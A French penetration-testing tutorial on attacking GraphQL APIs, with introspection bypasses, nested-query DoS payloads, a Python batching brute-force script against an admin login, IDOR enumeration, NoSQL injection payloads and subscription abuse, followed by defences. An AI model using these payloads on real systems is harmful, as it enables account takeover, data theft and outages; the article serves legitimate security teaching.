GraphQL injection exploitation 2026 : introspection, batching attacks, IDOR, nested queries DoS, InQL Burp plugin et défenses depth limiting.
TL;DR — En résumé
Guide technique approfondi sur graphql injection : techniques d'exploitation 2026. Cet article presente les techniques, outils et bonnes pratiques.
En 2026, GraphQL s'est imposé comme la couche d'API dominante des applications SaaS, mobiles et microservices — et avec elle, une surface d'attaque spécifique que les pentesteurs doivent maîtriser. GraphQL Injection ne se limite pas à l'injection SQL classique : introspection silencieuse, batching attacks pour bypasser le rate limiting, nested queries DoS et IDOR structurel sont les vecteurs que cet article décompose avec des payloads prêts à l'emploi.
GraphQL a transformé la façon dont les APIs exposent les données : là où REST impose des endpoints fixes, GraphQL laisse le client définir exactement ce qu'il veut récupérer. Cette flexibilité est une force fonctionnelle et une faiblesse sécurité structurelle. La graphql injection exploitation 2026 couvre un spectre bien plus large que le seul contournement d'authentification — elle englobe la cartographie silencieuse du schéma via introspection, l'épuisement des ressources serveur par des requêtes imbriquées exponentielles, le contournement du rate limiting par batching et aliasing, ainsi que l'accès non autorisé à des ressources tierces par manipulation d'identifiants. Selon les données NVD de début 2026, les vulnérabilités liées aux APIs GraphQL ont progressé de 34 % en un an, portées par l'adoption massive de frameworks comme Apollo Server, Hasura et AWS AppSync. Cet article traite chaque vecteur avec les outils concrets — InQL, Clairvoyance, GraphQL Voyager — et les défenses applicables immédiatement en production.
À retenir
- Introspection : Même désactivée en prod, les field suggestions de GraphQL révèlent les types — utiliser Clairvoyance pour reconstituer le schéma sans une seule requête __schema.
- Batching attacks : HTTP batching et aliasing permettent d'envoyer des centaines de tentatives en une seule requête, rendant inefficace tout rate limiting basé sur le comptage de requêtes HTTP.
- InQL Burp Suite : Le plugin génère automatiquement toutes les queries et mutations depuis un endpoint GraphQL, avec template attack intégré pour tester chaque champ en un clic.
- Nested queries DoS : Une requête récursive de profondeur 10 sur un schéma cyclique peut générer des millions d'opérations DB — sans authentification sur les endpoints mal configurés.
- Défense depth limiting : graphql-depth-limit fixe une profondeur maximale (valeur recommandée : 5-7) et query cost analysis attribue un coût à chaque resolver pour bloquer les requêtes abusives avant exécution.
Comment l'introspection GraphQL permet-elle de cartographier une API cible ?
L'introspection est la fonctionnalité native qui permet à un client de demander au serveur de décrire son propre schéma. En développement, c'est indispensable. En production, c'est une fuite d'information complète sur la structure de l'API.
La requête d'introspection complète retourne tous les types, champs, arguments et relations :
# Introspection complète du schéma
query IntrospectionQuery {
__schema {
queryType { name }
mutationType { name }
subscriptionType { name }
types {
...FullType
}
directives {
name
description
locations
args { ...InputValue }
}
}
}
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args { ...InputValue }
type { ...TypeRef }
isDeprecated
deprecationReason
}
inputFields { ...InputValue }
interfaces { ...TypeRef }
enumValues(includeDeprecated: true) { name }
possibleTypes { ...TypeRef }
}
fragment InputValue on __InputValue {
name
description
type { ...TypeRef }
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType { kind name ofType { kind name } }
}
}
}
Quand l'introspection est désactivée, le serveur renvoie une erreur générique. Mais la désactivation d'__schema et __type ne suffit pas si les suggestions de champs restent actives.
Bypasser la désactivation de l'introspection avec les alias tricks
Apollo Server et d'autres implémentations bloquent l'introspection en filtrant les champs commençant par __. Certaines configurations ne filtrent que le nom direct, pas les alias :
# Bypass via alias sur __schema
query {
s: __schema {
queryType { name }
}
}
# Bypass via __type avec alias
query {
t: __type(name: "User") {
fields { name type { name kind } }
}
}
Quand ces bypasses échouent, les field suggestions prennent le relais. GraphQL retourne une erreur du type "Did you mean 'username'?" quand on demande un champ inexistant — ce mécanisme d'aide au développeur fuit les noms de champs valides en production.
# Provoquer une field suggestion pour découvrir les champs disponibles
query {
user(id: 1) {
passwrd # GraphQL suggère 'password' dans l'erreur
}
}
# Réponse : {"errors": [{"message": "Cannot query field 'passwrd'. Did you mean 'password'?"}]}
Clairvoyance : reconstituer un schéma sans introspection
Clairvoyance automatise l'exploitation des field suggestions pour reconstituer intégralement le schéma d'une API GraphQL sans accès à l'introspection. L'outil envoie des milliers de requêtes malformées et analyse les messages d'erreur pour déduire la structure :
# Installation
pip install clairvoyance
# Scan d'un endpoint protégé
clairvoyance -u https://api.target.com/graphql -H "Authorization: Bearer eyJ..." -o schema.json --wordlist /usr/share/wordlists/graphql-fields.txt
# Avec cookies de session
clairvoyance -u https://api.target.com/graphql -c "session=abc123; csrf=xyz" -o schema.json
Le fichier schema.json produit est importable directement dans GraphQL Voyager pour visualisation, ou dans InQL pour la génération automatique de requêtes d'attaque.
Nested Queries DoS : l'attaque Billion Laughs version GraphQL
GraphQL permet les requêtes imbriquées récursives quand le schéma contient des types circulaires — par exemple User a des friends de type User. Sans protection de profondeur, une requête de profondeur 10 génère 10^n résolutions :
# Nested query DoS — schéma avec User.friends: [User]
# Profondeur 10 = potentiellement des millions de résolutions DB
query NestedDoS {
user(id: 1) {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
id
username
email
}
}
}
}
}
}
}
}
}
}
}
}
La variante avec fragments amplifie l'effet (style Billion Laughs) :
# Fragment recursion bomb
query FragmentBomb {
user(id: 1) {
...Level1
}
}
fragment Level1 on User {
friends { ...Level2 }
}
fragment Level2 on User {
friends { ...Level3 }
}
fragment Level3 on User {
friends { ...Level4 }
}
fragment Level4 on User {
friends { ...Level5 }
}
fragment Level5 on User {
friends { id username email createdAt }
}
Apollo Server sans configuration de profondeur accepte ces requêtes et peut saturer le CPU et la base de données en quelques secondes. Les tests en environnement de pentest autorisé ont montré des temps de réponse dépassant 30 secondes avec une seule requête de profondeur 12.
Comment les batching attacks bypasse-t-elles le rate limiting GraphQL ?
Le batching HTTP GraphQL permet d'envoyer un tableau de requêtes dans un seul appel HTTP. Si le rate limiting compte les requêtes HTTP plutôt que les opérations GraphQL, une seule requête batchée avec 100 tentatives de brute force passe sous les radars :
# HTTP Batching — 1 requête HTTP = 100 tentatives de login
[
{"query": "mutation { login(username: "admin", password: "password1") { token } }"},
{"query": "mutation { login(username: "admin", password: "password2") { token } }"},
{"query": "mutation { login(username: "admin", password: "password123") { token } }"},
{"query": "mutation { login(username: "admin", password: "admin2026") { token } }"}
]
La variante par aliasing fonctionne sur les endpoints qui n'acceptent pas le batching HTTP :
# Aliasing brute force — contournement rate limiting sans batching HTTP
query BruteForceAliasing {
attempt1: login(username: "admin", password: "password1") { token }
attempt2: login(username: "admin", password: "password2") { token }
attempt3: login(username: "admin", password: "password123") { token }
attempt4: login(username: "admin", password: "admin2026") { token }
attempt5: login(username: "admin", password: "Ayinedjimi@2026") { token }
}
# 1 requête HTTP = 5 tentatives, chacune retournant son résultat indépendamment
Script Python pour générer un batching attack automatisé sur un endpoint de login :
import requests
import json
TARGET = "https://api.target.com/graphql"
HEADERS = {"Content-Type": "application/json"}
WORDLIST = "/usr/share/wordlists/rockyou.txt"
BATCH_SIZE = 50
def build_batch(username, passwords):
return [
{"query": f'mutation {{ login(username: "{username}", password: "{pw}") {{ token user {{ id }} }} }}'}
for pw in passwords
]
with open(WORDLIST) as f:
passwords = [line.strip() for line in f if line.strip()]
for i in range(0, min(1000, len(passwords)), BATCH_SIZE):
batch = build_batch("admin", passwords[i:i+BATCH_SIZE])
resp = requests.post(TARGET, headers=HEADERS, json=batch)
results = resp.json()
for j, result in enumerate(results):
if result.get("data", {}).get("login", {}).get("token"):
print(f"[+] Mot de passe trouvé: {passwords[i+j]}")
exit(0)
print(f"Batch {i//BATCH_SIZE + 1} testé ({BATCH_SIZE} mots de passe)")
IDOR via GraphQL : accéder aux ressources d'autres utilisateurs
GraphQL expose souvent des champs qui acceptent des IDs numériques ou des UUIDs en argument. Sans vérification d'autorisation côté resolver, n'importe quel utilisateur authentifié peut accéder aux données d'autres comptes :
# Accès au profil de l'utilisateur authentifié (comportement normal)
query {
user(id: "me") {
id username email phone billingAddress
}
}
# IDOR — même query, ID arbitraire : accès à un autre compte
query {
user(id: "1337") {
id username email phone billingAddress
}
}
# IDOR sur les commandes d'autres clients
query {
order(id: 99842) {
total items { productId quantity price }
deliveryAddress { street city postalCode }
paymentMethod { last4 brand }
}
}
# Énumération automatique via aliasing
query IDOREnum {
u1: user(id: 1) { id email phone }
u2: user(id: 2) { id email phone }
u3: user(id: 3) { id email phone }
u4: user(id: 4) { id email phone }
u5: user(id: 5) { id email phone }
}
La combinaison IDOR + batching permet d'énumérer des milliers d'utilisateurs en quelques dizaines de requêtes HTTP, ce que les logs classiques ne détectent pas comme une anomalie volumétrique.
Comment l'injection NoSQL transit par GraphQL ?
Quand le backend GraphQL utilise MongoDB ou un autre store NoSQL, les arguments de requête peuvent être transmis directement dans les filtres du driver. Si l'application n'assainit pas les inputs, les opérateurs MongoDB passent à travers :
# Injection NoSQL via argument GraphQL — backend MongoDB
# Payload normal
query {
users(filter: { role: "admin" }) {
id username email
}
}
# Injection : opérateur $ne pour contourner l'authentification
query {
login(username: "admin", password: { $ne: null }) {
token
}
}
# Injection : $regex pour extraire des données par pattern
query {
users(filter: { email: { $regex: "^a" } }) {
id email
}
}
# Injection : $where avec exécution JavaScript (MongoDB < 4.4)
query {
users(filter: { $where: "this.role == 'admin' && sleep(5000)" }) {
id
}
}
Le test de base est de passer un objet là où une chaîne est attendue. Si le serveur répond avec des données au lieu d'une erreur de type, la surface est potentiellement injectable.
Subscription Abuse : exfiltration de données en temps réel via WebSocket
Les subscriptions GraphQL ouvrent une connexion WebSocket persistante pour recevoir des events en temps réel. Une subscription mal autorisation-vérifiée peut fuite des événements destinés à d'autres utilisateurs :
# Subscription sur les messages d'un channel auquel on n'appartient pas
subscription {
messageCreated(channelId: "channel-privé-autre-user-42") {
id content createdAt
author { username email role }
}
}
# Subscription sur les transactions d'un autre compte
subscription {
transactionCreated(userId: "user-cible-9876") {
amount currency merchant timestamp
card { last4 brand }
}
}
# Subscription sur les alertes admin (escalade de privilèges passive)
subscription {
systemAlert(severity: "CRITICAL") {
message affectedService timestamp
details { stackTrace affectedUsers }
}
}
L'abus de subscriptions est particulièrement difficile à détecter car les connexions WebSocket restent ouvertes et le trafic ressemble à des communications légitimes en temps réel.
InQL Burp Suite : automatiser les attaques sur GraphQL
InQL est le plugin Burp Suite de référence pour les tests d'intrusion GraphQL. Il automatise l'introspection, génère toutes les queries/mutations et propose une interface de template attack.
# Installation via Burp Suite BApp Store (méthode recommandée)
# Burp Suite → Extensions → BApp Store → rechercher "InQL" → Install
# Ou via JAR manuel :
# Télécharger depuis https://github.com/doyensec/inql/releases
# Burp Suite → Extensions → Add → Java → sélectionner inql.jar
Utilisation d'InQL pour cartographier une API :
- Dans l'onglet InQL Scanner, entrer l'URL du endpoint GraphQL
- Cocher "Send Introspection Query" et "Analyze Schema"
- InQL génère automatiquement les fichiers
queries.txt,mutations.txtetsubscriptions.txt - Cliquer sur chaque query générée pour l'envoyer au Repeater Burp avec les variables pré-remplies
- Utiliser "Template Attack" pour automatiquement tester les injections sur chaque argument
InQL génère des queries comme celles-ci à partir du schéma, avec variables :
# Query auto-générée par InQL pour le type User
query GetUser($id: ID!) {
user(id: $id) {
id
username
email
role
createdAt
updatedAt
profile {
bio
avatar
socialLinks
}
orders {
id
total
status
}
}
}
GraphQL Voyager : visualiser le schéma comme un graphe
GraphQL Voyager transforme le résultat d'introspection en graphe interactif, rendant immédiatement visible les relations entre types et les champs sensibles. L'outil est disponible en ligne ou auto-hébergeable :
# Lancer GraphQL Voyager en local avec Docker
docker run -p 7080:80 graphql-kit/graphql-voyager
# Ou via npx
npx graphql-voyager --endpoint https://api.target.com/graphql
# Importer un schéma JSON depuis Clairvoyance
# Interface web → "Change Schema" → "Introspection" → coller le JSON
En pentest, la combinaison Clairvoyance (reconstruction du schéma) + GraphQL Voyager (visualisation) + InQL (génération d'attaques) couvre l'intégralité du workflow de reconnaissance et d'exploitation GraphQL.
Tableau comparatif des outils GraphQL offensifs
| Outil | Fonction principale | Sans introspection | Intégration Burp | Licence |
|---|---|---|---|---|
| InQL | Scanner, template attacks, génération de requêtes | Partielle (field suggestions) | Oui (plugin natif) | Open Source (Apache 2) |
| GraphQL Voyager | Visualisation de schéma en graphe interactif | Non (requiert JSON) | Non (standalone) | Open Source (MIT) |
| Clairvoyance | Reconstruction de schéma via field suggestions | Oui (raison d'être) | Non (CLI Python) | Open Source (MIT) |
| graphql-cop | Audit automatique de sécurité (DoS, introspection, aliases) | Oui | Non (CLI Python) | Open Source (MIT) |
# graphql-cop — audit rapide d'un endpoint
pip install graphql-cop
graphql-cop -t https://api.target.com/graphql -H "Authorization: Bearer eyJ..." -o json > audit-results.json
# Checks effectués :
# - Introspection activée
# - Batching activé
# - Field suggestions actives
# - Depth limiting absent
# - Aliases illimités
# - Mutation rate limiting
# - Subscription sans authentification
Défenses : depth limiting, query cost analysis et persisted queries
Quatre mécanismes défensifs couvrent les vecteurs principaux :
1. Depth limiting avec graphql-depth-limit (Node.js/Apollo) :
const { ApolloServer } = require('apollo-server');
const depthLimit = require('graphql-depth-limit');
const { createComplexityLimitRule } = require('graphql-validation-complexity');
const server = new ApolloServer({
typeDefs,
resolvers,
validationRules: [
// Profondeur maximale : 5 niveaux
depthLimit(5, { ignore: ['IntrospectionQuery'] }),
// Coût maximum par requête : 1000 points
createComplexityLimitRule(1000, {
onCost: (cost) => console.log('Query cost:', cost),
formatErrorMessage: (cost) =>
`Requête trop complexe (coût ${cost}/1000). Simplifiez votre requête.`
})
],
// Désactiver introspection en production
introspection: process.env.NODE_ENV !== 'production',
// Désactiver suggestions de champs en production
fieldSuggestions: process.env.NODE_ENV !== 'production'
});
2. Persisted Queries pour interdire les requêtes arbitraires :
// Apollo Server avec persisted queries
// Seules les requêtes pré-enregistrées sont acceptées
const { createPersistedQueryLink } = require('@apollo/client/link/persisted-queries');
const { sha256 } = require('crypto-hash');
// Côté client
const link = createPersistedQueryLink({ sha256 });
// Côté serveur — rejeter les requêtes non-persistées
const server = new ApolloServer({
typeDefs,
resolvers,
persistedQueries: {
cache: new InMemoryLRUCache({ maxSize: Math.pow(2, 20) * 30 }),
// Bloquer les requêtes non-hashées
onlyAllowPersistedQueries: process.env.NODE_ENV === 'production'
}
});
3. Désactivation du batching et limitation des aliases :
// Middleware Express/Apollo — bloquer le batching HTTP
app.use('/graphql', (req, res, next) => {
if (Array.isArray(req.body)) {
return res.status(400).json({
error: 'Le batching GraphQL est désactivé sur cet endpoint.'
});
}
// Compter les aliases dans la requête
const aliasCount = (req.body.query || '').match(/\w+\s*:/g)?.length || 0;
if (aliasCount > 10) {
return res.status(400).json({
error: `Trop d'aliases (${aliasCount}/10 max).`
});
}
next();
});
4. Authorization au niveau resolver (pas uniquement au niveau schema) : Chaque resolver doit vérifier que l'utilisateur courant a le droit d'accéder à la ressource demandée, même quand l'ID provient d'un argument du client. La vérification au niveau du schema type n'empêche pas l'IDOR — seule la vérification en resolver le fait.
Pour approfondir les vecteurs d'attaque API au-delà de GraphQL, les articles sur les Attaques sur API GraphQL et REST et les Attaques sur les Bases de Données SQL, NoSQL et GraphQL complètent cette analyse. Les techniques de pivoting après compromission d'une API sont couvertes dans l'article sur la SSRF moderne. Pour l'automatisation de ces tests, l'article sur l'IA Générative pour le Pentest Automatisé présente les workflows combinant LLMs et outils offensifs. Les outils de base restent documentés dans le Top 10 Outils d'Audit Sécurité.
Les labs pratiques GraphQL de PortSwigger Web Security Academy offrent un environnement isolé pour tester ces techniques légalement. L'OWASP Top 10 API Security référence les catégories officielles dans lesquelles s'inscrivent ces vulnérabilités. La documentation officielle de GraphQL.org sur la sécurité et l'autorisation détaille les patterns recommandés, et le NVD recense les CVEs liées aux implémentations GraphQL vulnérables.
Questions fréquentes
Comment détecter si un endpoint GraphQL est vulnérable à l'injection sans introspection active ?
Utiliser Clairvoyance pour exploiter les field suggestions même quand __schema est bloqué. Ensuite, graphql-cop effectue un audit automatique qui détecte le batching activé, l'absence de depth limiting et les aliases illimités. L'absence d'erreur sur une requête d'aliasing avec 50 champs identiques confirme l'absence de protection contre le batching attack.
Est-ce que le rate limiting HTTP suffit à protéger contre les batching attacks ?
Non. Le rate limiting HTTP compte les requêtes HTTP, pas les opérations GraphQL. Une requête HTTP batchée avec 100 mutations compte comme 1 dans le rate limiter. La protection efficace nécessite de compter les opérations GraphQL individuelles à l'intérieur de chaque requête, ou de désactiver complètement le batching et de limiter le nombre d'aliases par requête à moins de 10.
Quelle est la différence entre l'IDOR classique et l'IDOR spécifique à GraphQL ?
L'IDOR classique exploite des URLs prévisibles (ex: /users/1337). L'IDOR GraphQL est plus difficile à détecter car l'accès aux ressources d'autres utilisateurs passe par des arguments dans le body JSON — que les WAF et les proxies filtrent moins efficacement que les paramètres d'URL. De plus, le batching permet d'énumérer des milliers d'IDs en quelques requêtes HTTP sans déclencher les alertes volumétriques.
Comment les subscriptions GraphQL peuvent-elles être utilisées pour l'exfiltration de données ?
Une subscription ouvre une connexion WebSocket persistante. Si le serveur ne vérifie pas que l'utilisateur a accès au channel ou à l'entité souscrite, il reçoit en temps réel tous les événements — transactions, messages privés, alertes système. L'exfiltration est passive (pas de requête active) et génère du trafic WebSocket difficile à distinguer d'un usage légitime dans les logs.
Quelle profondeur maximale recommander pour un endpoint GraphQL en production ?
La valeur standard recommandée est entre 5 et 7 niveaux de profondeur. Pour les APIs publiques non authentifiées, 3-4 est plus prudent. Cette limite est à combiner avec un budget de coût de requête (query cost analysis) qui pénalise les listes et les relations multiples : un resolver de liste coûte 10 points, un resolver scalaire 1 point, le budget total plafonné à 500-1000 points par requête.
Télécharger cet article en PDF
Format A4 optimisé pour l'impression et la lecture hors ligne
À propos de l'auteur
Ayi NEDJIMI
Auditeur Senior Cybersécurité & Consultant IA
Expert Judiciaire — Cour d'Appel de Paris
Habilitation Confidentiel Défense
[email protected]
Ayi NEDJIMI est un vétéran de la cybersécurité avec plus de 25 ans d'expérience sur des missions critiques. Ancien développeur Microsoft à Redmond sur le module GINA (Windows NT4) et co-auteur de la version française du guide de sécurité Windows NT4 pour la NSA.
À la tête d'Ayi NEDJIMI Consultants, il réalise des audits Lead Auditor ISO 42001 et ISO 27001, des pentests d'infrastructures critiques, du forensics et des missions de conformité NIS2 / AI Act.
Conférencier international (Europe & US), il a formé plus de 10 000 professionnels.
Domaines d'expertise
Ressources & Outils de l'auteur
Testez vos connaissances
Mini-quiz de certification lié à cet article — propulsé par CertifExpress
Articles connexes
Patch Management 2026 : Stratégie et Outils pour Entreprises
Guide patch management 2026 — stratégie d'application, priorisation CVSS/EPSS, outils WSUS/Ivanti/Tanium, SLA de patching et métriques MTTR pour entreprises.
Durcissement Cisco IOS et IOS-XE 2026 : Guide de Sécurisation
Guide complet durcissement Cisco IOS et IOS-XE 2026 — CVE critiques, SSH hardening, ACL management plane, SNMPv3, CIS Benchmark et recommandations ANSSI.
Zabbix 7 en 2026 : Supervision Sécurité et Alertes Avancées
Guide Zabbix 7 pour la supervision de sécurité en 2026 — templates sécurité, alertes comportementales, intégration SIEM, chiffrement PSK/TLS et HA cluster.
Un projet cybersécurité ? Parlons-en.
Pentest, conformité NIS 2, ISO 27001, audit IA, RSSI externalisé… nos experts répondent sous 24h pour évaluer votre besoin et vous proposer un accompagnement sur mesure.
Commentaires
Aucun commentaire pour le moment. Soyez le premier à commenter !
Laisser un commentaire